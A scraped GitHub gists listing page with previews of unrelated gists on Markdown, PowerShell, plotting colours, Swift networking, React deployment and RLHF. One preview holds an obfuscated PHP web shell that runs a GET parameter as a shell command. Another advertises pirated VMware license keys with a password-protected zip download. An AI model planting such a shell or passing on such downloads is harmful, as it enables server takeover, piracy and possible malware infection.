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@DrSensor
DrSensor / Advanced Markdown Tricks.md
Last active May 22, 2023 16:00
Advanced Markdown Tricks
View Advanced Markdown Tricks.md

Repository

What Will I Learn?

In general, you will learn some markdown tricks combined with standard HTML tags. In more details what you will learn:

  • Hide-show content
  • Writing codeblocks inside codeblocks
  • Combining and using italic, bold, superscript, subscript, and/or strikethrough
  • Quoting long sentence (using nested blockquotes)
@YoraiLevi
YoraiLevi / KnownFolderPathPS5.ps1
Last active May 22, 2023 16:00
Change windows user folders with powershell
View KnownFolderPathPS5.ps1
<#
.SYNOPSIS
Requires powershell 5 or later
Provides Get and Set functions for KnownFolders
.EXAMPLE
PS> Set-KnownFolderPath Desktop $ENV:USERPROFILE/Desktop
.EXAMPLE
PS> $Path=""
PS> Get-KnownFolderPath Desktop ([ref]$Path)
.LINK
@0xSojalSec
0xSojalSec / rev_shell.php
Created January 28, 2023 18:46 — forked from terjanq/rev_shell.php
The shortest non-alphanumeric reverse shell script (19 bytes)
View rev_shell.php
<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;
/*
* In terminal:
* $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php
* This is how the code will be produced, \xa0\xb8\xba\xab will be
* treated as constant therefore no " needed. It is also not copyable
* string because of non-ascii characters
*
* Explanation:
@thriveth
thriveth / CBcolors.py
Created January 22, 2014 14:52
A color blind/friendly color cycle for Matplotlib line plots. Might want to shuffle it around a bit more,but already not it gives kinda good contrasts between subsequent colors, and shows reasonably well in colorblind filters (though not in pure monochrome).
View CBcolors.py
CB_color_cycle = ['#377eb8', '#ff7f00', '#4daf4a',
'#f781bf', '#a65628', '#984ea3',
'#999999', '#e41a1c', '#dede00']
@egmontkob
egmontkob / Hyperlinks_in_Terminal_Emulators.md
Last active May 22, 2023 15:54
Hyperlinks in Terminal Emulators
View Hyperlinks_in_Terminal_Emulators.md
@afterxleep
afterxleep / Networking+Combine+Codable.swift
Created January 11, 2021 04:21
A Playground with example code for Wirekit
View Networking+Combine+Codable.swift
import Foundation
import Combine
// The Request Method
enum HTTPMethod: String {
case get = "GET"
case post = "POST"
case put = "PUT"
case delete = "DELETE"
}
@PurpleVibe32
PurpleVibe32 / vmwk17key.txt
Last active May 22, 2023 15:51
Free VMware Workstation Pro 17 full license keys
View vmwk17key.txt
Install VMWare Workstation PRO 17 (Read it right. PRO!)
Sub to me on youtube pls - PurpleVibe32
if you want more keys - call my bot on telegram. @purector_bot (THE BOT WONT REPLY ANYMORE) - Or: https://cdn.discordapp.com/attachments/1040615179894935645/1074016373228978277/keys.zip - the password in the zip is 102me.
---
This gist can get off at any time.
PLEASE, DONT COPY THIS. IF YOU FORK IT, DONT EDIT IT.
*If you have a problem comment and people will try to help you!
*No virus
*No spam just license key
@luandersonalvesdev
luandersonalvesdev / react-github-pages-trybe-publisher.md
Last active May 22, 2023 15:48
Passo a passo de como dar deploy no github pages em projeto React e criar um repositório para ele com o Trybe Publisher.
View react-github-pages-trybe-publisher.md

Passo a passo de como dar deploy no github pages em projeto React e criar um repositório para ele com o Trybe Publisher

Certifique que tem o Trybe Publisher instalado e funcionando. Caso não tenha, acesse e siga somente até o passo 6:

1. Entre na pasta do projeto e instale o GH Pages

npm install gh-pages --save-dev

2. Dentro do package.json adicione:

  • Na raiz do arquivo cole:
@JoaoLages
JoaoLages / RLHF.md
Last active May 22, 2023 15:47
Reinforcement Learning from Human Feedback (RLHF) - a simplified explanation
View RLHF.md

Maybe you've heard about this technique but you haven't completely understood it, especially the PPO part. This explanation might help.

We will focus on text-to-text language models 📝, such as GPT-3, BLOOM, and T5. Models like BERT, which are encoder-only, are not addressed.

Reinforcement Learning from Human Feedback (RLHF) has been successfully applied in ChatGPT, hence its major increase in popularity. 📈

RLHF is especially useful in two scenarios 🌟:

  • You can’t create a good loss function
    • Example: how do you calculate a metric to measure if the model’s output was funny?
  • You want to train with production data, but you can’t easily label your production data